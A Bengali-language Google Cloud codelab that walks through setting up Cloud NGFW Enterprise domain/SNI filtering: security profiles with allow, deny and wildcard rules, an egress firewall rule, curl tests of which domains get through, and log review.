ক্লাউড NGFW এন্টারপ্রাইজ ডোমেন/SNI ফিল্টারিং কোডল্যাব [ঐচ্ছিক TLS পরিদর্শন]

১. ভূমিকা

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল (NGFW)

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল হলো একটি সম্পূর্ণ ডিস্ট্রিবিউটেড ফায়ারওয়াল পরিষেবা, যা আপনার গুগল ক্লাউড ওয়ার্কলোডকে অভ্যন্তরীণ ও বাহ্যিক আক্রমণ থেকে সুরক্ষিত রাখতে উন্নত সুরক্ষা ক্ষমতা, মাইক্রো-সেগমেন্টেশন এবং ব্যাপক কভারেজ প্রদান করে।

ক্লাউড এনজিএফডব্লিউ-এর নিম্নলিখিত সুবিধাগুলো রয়েছে:

  • ডিস্ট্রিবিউটেড ফায়ারওয়াল পরিষেবা: ক্লাউড এনজিএফডব্লিউ জিরো-ট্রাস্ট নিরাপত্তা আর্কিটেকচার সক্ষম করার জন্য প্রতিটি ওয়ার্কলোডের উপর একটি স্টেটফুল, সম্পূর্ণ ডিস্ট্রিবিউটেড হোস্ট-ভিত্তিক প্রয়োগ ব্যবস্থা প্রদান করে।
  • সরলীকৃত কনফিগারেশন এবং স্থাপন: ক্লাউড এনজিএফডব্লিউ (Cloud NGFW) নেটওয়ার্ক এবং হায়ারারকিক্যাল ফায়ারওয়াল পলিসি প্রয়োগ করে যা একটি রিসোর্স হায়ারার্কি নোডের সাথে সংযুক্ত করা যেতে পারে। এই পলিসিগুলো গুগল ক্লাউড রিসোর্স হায়ারার্কি জুড়ে একটি সামঞ্জস্যপূর্ণ ফায়ারওয়াল অভিজ্ঞতা প্রদান করে।
  • সূক্ষ্ম নিয়ন্ত্রণ এবং মাইক্রো-সেগমেন্টেশন: ফায়ারওয়াল পলিসি এবং আইডেন্টিটি অ্যান্ড অ্যাক্সেস ম্যানেজমেন্ট (IAM) দ্বারা পরিচালিত ট্যাগ-এর সমন্বয়, ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্ক এবং সংস্থা জুড়ে, একটি একক VM পর্যন্ত নর্থ-সাউথ এবং ইস্ট-ওয়েস্ট উভয় ট্র্যাফিকের জন্য সূক্ষ্ম নিয়ন্ত্রণ প্রদান করে।

ক্লাউড এনজিএফডব্লিউ নিম্নলিখিত টায়ারগুলিতে উপলব্ধ:

  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়ালের অপরিহার্য বিষয়সমূহ
  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল স্ট্যান্ডার্ড
  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল এন্টারপ্রাইজ

ক্লাউড এনজিএফডব্লিউ স্ট্যান্ডার্ড এফকিউডিএন অবজেক্টস ফুললি কোয়ালিফাইড ডোমেইন নেম (এফকিউডিএন)-কে আইপি অ্যাড্রেসে রূপান্তর করতে পারে এবং তারপর সেই আইপি অ্যাড্রেসের তালিকার উপর নিয়মটি প্রয়োগ করতে পারে। তবে, ডোমেইন ফিল্টারিং সহ ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এই পরিদর্শনকে আরও কয়েক ধাপ এগিয়ে নিয়ে যেতে পারে।

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ বর্তমানে ডিস্ট্রিবিউটেড গুগল ক্লাউড ফায়ারওয়াল ফ্যাব্রিকে ইন্ট্রুশন প্রিভেনশন সার্ভিস (আইপিএস), একটি লেয়ার ৭ সক্ষমতা, প্রদান করে।

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজে এখন ডোমেইন ফিল্টারিং সুবিধা রয়েছে, যা আইপি অ্যাড্রেসের পরিবর্তে ডোমেইন নেম ব্যবহার করে http(s) ট্র্যাফিকের উপর নিয়ন্ত্রণ প্রদান করে।

https ট্র্যাফিকের ডোমেইন/SNI ফিল্টারিংয়ের জন্য, TLS হ্যান্ডশেকের অংশ হিসেবে, ক্লায়েন্ট হ্যালো হলো একটি এক্সটেনশন যাতে সার্ভার নেম ইন্ডিকেশন (SNI) থাকে। SNI হলো TLS প্রোটোকলের একটি এক্সটেনশন যা ক্লায়েন্টের পৌঁছানোর চেষ্টা করা হোস্টনেমটি পাঠায়। এর ভিত্তিতেই ফিল্টারিংটি যাচাই করা হয়।

http ট্র্যাফিকের ক্ষেত্রে কোনো SNI থাকে না, তাই ফিল্টারিং প্রয়োগ করার জন্য শুধুমাত্র http হোস্ট হেডার ফিল্ডটি ব্যবহার করা হবে।

ডোমেইন ফিল্টারিং একটি UrlFilteringProfile-এর মাধ্যমে কনফিগার করা হয়, যা এক নতুন ধরনের সিকিউরিটি প্রোফাইল । UrlFilteringProfile-টিতে UrlFilters-এর একটি তালিকা থাকবে, যার প্রতিটিতে একটি অ্যাকশন, ম্যাচিং স্ট্রিং-এর একটি তালিকা এবং একটি অনন্য প্রায়োরিটি থাকে। এই কনফিগারেশনে নামকরণের জন্য "Domain"-এর পরিবর্তে "Url" ব্যবহার করা হয়েছে, যাতে ভবিষ্যতে নতুন ধরনের সিকিউরিটি প্রোফাইল তৈরি না করেই সম্পূর্ণ ইউআরএল ফিল্টারিং চালু হলে তাতে সহজে রূপান্তর করা যায়।

UrlFilteringProfiles-এ একটি অন্তর্নিহিত, সর্বনিম্ন অগ্রাধিকারের (2147483647) UrlFilter অন্তর্ভুক্ত রয়েছে যা উচ্চতর অগ্রাধিকারের UrlFilter-এর সাথে মেলে না এমন সমস্ত সংযোগ প্রত্যাখ্যান করবে।

আপনি যা তৈরি করবেন

এই কোডল্যাবটির জন্য একটিমাত্র প্রজেক্ট এবং একটি ভিপিসি (VPC) নেটওয়ার্ক তৈরি করার পাশাপাশি বিভিন্ন নেটওয়ার্ক ও নিরাপত্তা রিসোর্স পরিচালনা করার সক্ষমতা প্রয়োজন। এতে দেখানো হবে কিভাবে ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ (Cloud NGFW Enterprise) টিএলএস (TLS) ইন্সপেকশনের জন্য ঐচ্ছিক নির্দেশনাসহ ডোমেইন এবং এসএনআই (SNI) ফিল্টারিং প্রদান করতে পারে।

আমরা ওয়াইল্ডকার্ডের ব্যবহার সহ অনুমতি ও অস্বীকৃতি নিয়মের একাধিক পরিস্থিতি পরীক্ষা করব।

4a779fae790d117.png

নেটওয়ার্ক ফায়ারওয়াল পলিসি রুলবেসের চূড়ান্ত অবস্থা নিচের টেবিলের অনুরূপ হবে:

অগ্রাধিকার

দিকনির্দেশনা

লক্ষ্য

উৎস

গন্তব্য

পদক্ষেপ

প্রকার

২০০

প্রবেশ

সকল

আইএপি

যেকোনো

অনুমতি দিন

প্রয়োজনীয় জিনিসপত্র

৩০০

বহির্গমন

সকল

যেকোনো

০.০.০.০/০:৮০,৪৪৩

এল৭ পরিদর্শন

উদ্যোগ

আপনি যা শিখবেন

  • কীভাবে একটি নেটওয়ার্ক ফায়ারওয়াল পলিসি তৈরি করতে হয়।
  • ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ ডোমেইন/এসএনআই ফিল্টারিং কীভাবে কনফিগার এবং ব্যবহার করবেন।
  • ডোমেইন/এসএনআই ফিল্টারিং-এর পাশাপাশি থ্রেট-প্রিভেনশন কীভাবে কনফিগার করবেন
  • কীভাবে লগগুলো পর্যালোচনা করবেন।
  • [ঐচ্ছিক] কীভাবে TLS পরিদর্শন সক্রিয় করবেন।

আপনার যা যা লাগবে

  • গুগল ক্লাউড প্রকল্প।
  • ইনস্ট্যান্স স্থাপন এবং নেটওয়ার্কিং উপাদান কনফিগার করার জ্ঞান।
  • নেটওয়ার্ক পলিসি ফায়ারওয়াল কনফিগারেশন সম্পর্কে জ্ঞান।

২. শুরু করার আগে

ভেরিয়েবল তৈরি/আপডেট করুন

এই কোডল্যাবটি ক্লাউড শেলে gcloud কনফিগারেশন বাস্তবায়নে সাহায্য করার জন্য $variables ব্যবহার করে।

ক্লাউড শেলে, প্রয়োজন অনুযায়ী বন্ধনীর ভেতরের তথ্য পরিবর্তন করে নিচের কমান্ডগুলো চালান:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

৩. এপিআই সক্রিয় করুন

আপনি যদি API গুলি সক্রিয় না করে থাকেন তবে তা করুন:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

৪. ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি

যেহেতু ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি হতে প্রায় ২০ মিনিট সময় লাগে, তাই এটি প্রথমে তৈরি করা হবে এবং এন্ডপয়েন্টটি তৈরি হওয়ার সময়েই বেস সেটআপের কাজ সমান্তরালভাবে করা যেতে পারে।

আপনি হুমকি-প্রতিরোধ প্রোফাইল ব্যবহার করতে না চাইলেও, ডোমেইন/এসএনআই ফিল্টারিংয়ের জন্য একটি ফায়ারওয়াল এন্ডপয়েন্টের প্রয়োজন হবে।

নিরাপত্তা প্রোফাইল এবং নিরাপত্তা প্রোফাইল গ্রুপ তৈরি করুন:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

এন্ডপয়েন্টটি তৈরি হচ্ছে কিনা তা নিশ্চিত করতে নিচের কমান্ডটি চালান ( CREATING )।

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (উল্লেখ্য যে, ব্যবহৃত ক্লায়েন্ট অনুযায়ী আউটপুট ফরম্যাট ভিন্ন হতে পারে):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

তৈরির প্রক্রিয়াটিতে প্রায় ২০ মিনিট সময় লাগে। সমান্তরালভাবে প্রয়োজনীয় রিসোর্সগুলো তৈরি করতে বেস সেটআপ বিভাগে যান।

৫. ভিত্তি স্থাপন

ভিপিসি নেটওয়ার্ক এবং সাবনেট

ভিপিসি নেটওয়ার্ক এবং সাবনেট

VPC নেটওয়ার্ক এবং সাবনেট তৈরি করুন:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

ক্লাউড ন্যাট

এক্সটার্নাল আইপি অ্যাড্রেস, ক্লাউড রাউটার এবং ক্লাউড ন্যাট গেটওয়ে তৈরি করুন:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

ইনস্ট্যান্স তৈরি

ক্লায়েন্ট ইনস্ট্যান্স তৈরি করুন:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone 

গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতি

একটি গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল পলিসি তৈরি করুন:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

আইডেন্টিটি-অ্যাওয়ার প্রক্সি রেঞ্জ থেকে ট্র্যাফিক অনুমোদনের জন্য প্রয়োজনীয় ক্লাউড ফায়ারওয়াল এসেনশিয়াল রুলস তৈরি করুন:

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

VPC নেটওয়ার্কের সাথে ক্লাউড ফায়ারওয়াল পলিসি সংযুক্ত করুন:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

৬. Allow-এর জন্য ডোমেইন/SNI ফিল্টারিং কনফিগারেশন তৈরি করুন

এরপরে, আমরা ডোমেইনগুলোকে অনুমতি দেওয়া এবং অস্বীকার করার জন্য কনফিগার করব। ক্লাউডশেল থেকে, এই yaml ফাইলটি তৈরি করুন:

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

yaml কনফিগারেশনটি ইম্পোর্ট করে একটি নিরাপত্তা প্রোফাইল তৈরি করুন:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

প্রত্যাশিত আউটপুট:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

একটি নিরাপত্তা প্রোফাইল গ্রুপ তৈরি করুন:

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

যাচাই করুন যে SPG-তে নিরাপত্তা প্রোফাইলটি অন্তর্ভুক্ত আছে:

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

প্রত্যাশিত আউটপুট:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

৭. ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট অ্যাসোসিয়েশন

যদি আপনি এখনও এনভায়রনমেন্ট ভেরিয়েবলগুলো নির্ধারণ না করে থাকেন এবং/অথবা স্ক্রিপ্ট পদ্ধতিটি পছন্দ করে থাকেন, তবে তা করে নিন।

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট তৈরি সফলভাবে সম্পন্ন হয়েছে কিনা তা নিশ্চিত করুন। স্টেট ACTIVE হিসেবে দেখানো হলেই কেবল অগ্রসর হন (তৈরির সময় প্রত্যাশিত স্টেট CREATING থাকে):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (উল্লেখ্য যে, ব্যবহৃত ক্লায়েন্ট অনুযায়ী আউটপুট ফরম্যাট ভিন্ন হতে পারে):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্টটিকে VPC নেটওয়ার্কের সাথে সংযুক্ত করুন:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

সংযুক্তিকরণ প্রক্রিয়াটিতে প্রায় ১০ মিনিট সময় লাগে। অবস্থাটি ACTIVE হিসেবে দেখানো হলেই কেবল পরবর্তী বিভাগে যান (তৈরির সময় প্রত্যাশিত অবস্থাটি CREATING থাকে):

gcloud network-security firewall-endpoint-associations list

সম্পূর্ণ হলে প্রত্যাশিত আউটপুট:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

৮. ডোমেইন/এসএনআই ফিল্টারিংয়ের জন্য ফায়ারওয়াল নিয়ম তৈরি করুন

গুগলের অন্তর্নিহিত বহির্গমন অনুমতির ফায়ারওয়াল নিয়ম রয়েছে। আমরা যদি ডোমেইন/এসএনআই ফিল্টারিং প্রয়োগ করতে চাই, তবে আমাদের অবশ্যই সুস্পষ্টভাবে একটি নিয়ম নির্ধারণ করতে হবে। নিম্নলিখিত নিয়মটি গন্তব্য পোর্ট ৮০ এবং ৪৪৩-এর বহির্গমন ট্র্যাফিককে আমাদের নিরাপত্তা প্রোফাইল দ্বারা পরিদর্শনের জন্য পাঠাবে।

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

৯. অনুমতি নিয়মগুলি যাচাই করুন

IAP-এর মাধ্যমে VM-টিতে একটি SSH সংযোগ শুরু করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

নমুনা অনুরোধগুলি অনুমোদিত গন্তব্যে পাঠান:

curl https://www.example.com --max-time 2

লক্ষ্য করুন যে 'allow' ফায়ারওয়াল নিয়মের কারণে এই অনুরোধটি সফল হয়েছে।

চলুন তালিকার বাইরে থাকা কয়েকটি ডোমেইন চেষ্টা করে দেখি।

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

প্রত্যাশিত আউটপুট:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

'example.com' কেন কাজ করেনি? এর কারণ হলো, সিকিউরিটি প্রোফাইল কনফিগারেশনে স্পষ্টভাবে 'www.example.com' উল্লেখ করা ছিল। আমরা যদি example.com-এর সমস্ত সাবডোমেইনকে অনুমতি দিতে চাইতাম, তাহলে একটি ওয়াইল্ডকার্ড ব্যবহার করতে পারতাম।

অন্যান্য অনুরোধগুলোও ব্যর্থ হয়েছে। এর কারণ হলো, সিকিউরিটি প্রোফাইল গ্রুপটিতে সর্বনিম্ন অগ্রাধিকারের একটি ডিফল্ট ডিনাই (deny) সেট করা আছে এবং শুধুমাত্র www.example.com-কেই অনুমতি দেওয়া হয়েছে।

ক্লাউডশেলে ফিরে যেতে ভিএম থেকে বেরিয়ে যান।

exit

১০. ওয়াইল্ডকার্ডের জন্য ডোমেইন/এসএনআই ফিল্টারিং কনফিগারেশন আপডেট করুন

চলুন yaml ফাইলটি দেখে নিই এবং ওয়াইল্ডকার্ড সাপোর্ট সহ অতিরিক্ত সক্ষমতাগুলো তুলে ধরতে কিছু অতিরিক্ত আপডেট করি। আমরা "*.com" ব্যবহারের অনুমতি দেওয়ার জন্য একটি রুল তৈরি করব, যা .com দিয়ে শেষ হওয়া যেকোনো ডোমেইনের সমতুল্য। দ্রষ্টব্য: এটি পূর্ববর্তী অংশে তৈরি করা মূল yaml ফাইলটির বিষয়বস্তু সম্পূর্ণরূপে প্রতিস্থাপন করবে।

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

নতুন yaml কনফিগারেশন দিয়ে নিরাপত্তা প্রোফাইলটি আপডেট করুন:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

নিরাপত্তা প্রোফাইল কনফিগারেশন যাচাই করুন:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

প্রত্যাশিত আউটপুট:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

১১. ওয়াইল্ডকার্ড নিয়ম যাচাই করুন

চলুন যাচাই করে দেখি ওয়াইল্ডকার্ড নিয়মটি কার্যকর কিনা। IAP-এর মাধ্যমে VM-টিতে একটি SSH সংযোগ স্থাপন করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

নমুনা অনুরোধগুলি অনুমোদিত গন্তব্যগুলিতে পাঠান:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

এই অনুরোধগুলো সবই সফল হওয়ার কথা। আপনি নির্দ্বিধায় অন্য যেকোনো বৈধ .com ডোমেইন দিয়ে চেষ্টা করতে পারেন। এরপরও যদি সফল না হয়, তবে অন্তত ১০ মিনিট অপেক্ষা করে আবার চেষ্টা করুন।

আমরা এমনকি ".com"-এর একাধিক সাবডোমেনও চেষ্টা করতে পারি এবং সবগুলোই সফল হওয়া উচিত।

curl https://mail.google.com --max-time 2

ক্লাউডশেলে ফিরে যেতে ভিএম থেকে বেরিয়ে যান।

exit

১২. ডিনাই করার জন্য ডোমেইন/এসএনআই ফিল্টারিং কনফিগারেশন আপডেট করুন

আমরা দেখিয়েছি যে সিকিউরিটি প্রোফাইলের শেষে * এর জন্য একটি অন্তর্নিহিত DENY নিয়ম রয়েছে এবং filteringAction হিসেবে "ALLOW" ব্যবহার করে "অনুমোদিত" ডোমেইন তৈরি করেছি। চলুন, filteringAction হিসেবে "DENY" কীভাবে ব্যবহার করতে হয় তা আলোচনা করা যাক। DENY অ্যাকশনগুলো তখন কার্যকর হতে পারে যখন সেগুলো একটি সুস্পষ্ট ALLOW-এর আগে ব্যবহৃত হয়। নিম্নলিখিত উদাহরণটি বিবেচনা করুন।

আমরা আমাদের বিদ্যমান YAML ফাইলটি আপডেট করে *.com ডোমেইনগুলোকে অনুমতি দেব, কিন্তু নির্দিষ্ট কিছু .com ডোমেইনকে অনুমতি দেব না।

আমরা yaml ফাইলটি পরিবর্তন করে *.github.com এবং *.google.com-কে DENY (অনুমতি ছাড়া) করব, যেখানে অন্য সব *.com-কে স্পষ্টভাবে অনুমতি দেওয়া হবে এবং অন্তর্নিহিত ডিফল্ট ডিনাই (deny) ব্যবস্থাটি অপরিবর্তিত থাকবে। উল্লেখ্য যে, এক্সেপশনগুলোর প্রায়োরিটি নম্বর অবশ্যই কম হতে হবে: (১০০০ বনাম ২০০০) এবং (১৫০০ বনাম ২০০০)।

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

নতুন yaml কনফিগারেশন দিয়ে নিরাপত্তা প্রোফাইলটি আপডেট করুন:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

নিরাপত্তা প্রোফাইল কনফিগারেশন যাচাই করুন:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

১৩. প্রত্যাখ্যান নিয়ম যাচাই করুন

চলুন যাচাই করে দেখি DENY নিয়মগুলো কার্যকর আছে কিনা। IAP-এর মাধ্যমে VM-টিতে একটি SSH সংযোগ স্থাপন করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

নমুনা অনুরোধগুলি প্রত্যাখ্যাত গন্তব্যগুলিতে পাঠান:

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

এই দুটি অনুরোধ ব্যর্থ হওয়া উচিত ছিল, কারণ এটি 'DENY' নিয়মের সাথে মিলে গিয়েছিল।

কিছু অতিরিক্ত অনুরোধ পাঠান:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

এগুলো কেন কাজ করেছিল? এগুলো কাজ করেছিল কারণ DENY নিয়মগুলো " .github.com" এবং " .google.com"-এর জন্য ছিল। github.com এবং google.com-এর অনুরোধগুলোতে ওই ওয়াইল্ডকার্ডটি অন্তর্ভুক্ত থাকে না, কারণ এটি github.com এবং google.com-এর সাবডোমেইনগুলোকে নির্দেশ করে।

.com ডোমেইনের অন্যান্য অনুরোধ সফল হওয়া উচিত, এবং অন্যান্য ডোমেইনের (যেমন .org, .net, .me, ...ইত্যাদি) ক্ষেত্রে তা ডিফল্টভাবে প্রত্যাখ্যান করা হবে।

ক্লাউডশেলে ফিরে যেতে ভিএম থেকে বেরিয়ে যান।

exit

১৪. ডিফল্ট অনুমতির জন্য ডোমেইন/এসএনআই ফিল্টারিং কনফিগারেশন আপডেট করুন

যদি আপনি সুস্পষ্ট ডিনাই (deny) নিয়মের সাথে একটি ডিফল্ট অ্যালাউ (ALLOW) আচরণ রাখতে চান, তাহলে কী হবে? এই আচরণটি দেখানোর জন্য আমরা YAML ফাইলটি আপডেট করব। আমরা যেকোনো .com বা .net ডোমেইনের জন্য ডিনাই (DENY) নিয়ম কনফিগার করব এবং বাকি সবগুলোকে অ্যালাউ (allow) করব।

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

নতুন yaml কনফিগারেশন দিয়ে নিরাপত্তা প্রোফাইলটি আপডেট করুন:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

নিরাপত্তা প্রোফাইল কনফিগারেশন যাচাই করুন:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

প্রত্যাশিত আউটপুট:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

লক্ষ্য করুন যে * এর জন্য অন্তর্নিহিত DENY এখনও বিদ্যমান। সেই নিয়মটি অপ্রাসঙ্গিক হয়ে পড়ে কারণ আমরা একটি উচ্চতর অগ্রাধিকারের (নিম্ন মানের) ডিফল্ট নিয়ম কনফিগার করেছি যেখানে filteringAction-কে ALLOW হিসেবে সেট করা হয়েছে।

(2000000000 বনাম 2147483647)

১৫. ডিফল্ট Allow দিয়ে Deny রুলগুলো যাচাই করুন

চলুন যাচাই করে দেখি ডিফল্ট ALLOW-এর পাশাপাশি DENY নিয়মগুলোও কার্যকর আছে কিনা। IAP-এর মাধ্যমে VM-টিতে একটি SSH সংযোগ স্থাপন করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

নমুনা অনুরোধগুলি প্রত্যাখ্যাত গন্তব্যগুলিতে পাঠান:

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

এই দুটি অনুরোধ ব্যর্থ হওয়া উচিত ছিল, কারণ এটি 'DENY' নিয়মের সাথে মিলে গিয়েছিল। যেকোনো .com বা .net অনুরোধ ব্যর্থ হওয়া উচিত।

কিছু অনুরোধ পাঠান যা সফল হওয়া উচিত (অন্য যেকোনো শীর্ষ স্তরের ডোমেইন):

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

এই অনুরোধগুলি সফল হওয়া উচিত কারণ এটি 2000000000 অগ্রাধিকারের "ডিফল্ট" অনুমতি নিয়মটিকে প্রভাবিত করছে।

১৬. ডোমেইন/এসএনআই ফিল্টারিংয়ের জন্য লগগুলো খতিয়ে দেখুন

চলুন দেখে নেওয়া যাক, ফায়ারওয়াল নিয়ম দ্বারা ডোমেইন/এসএনআই ফিল্টারিংয়ের জন্য ট্র্যাফিক নিরীক্ষা করা হচ্ছে কিনা, তা আমরা কীভাবে যাচাই করতে পারি।

ক্লাউড কনসোলে, লগস এক্সপ্লোরার-এ যান এবং নিম্নলিখিত ফিল্টারটি প্রবেশ করান:

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

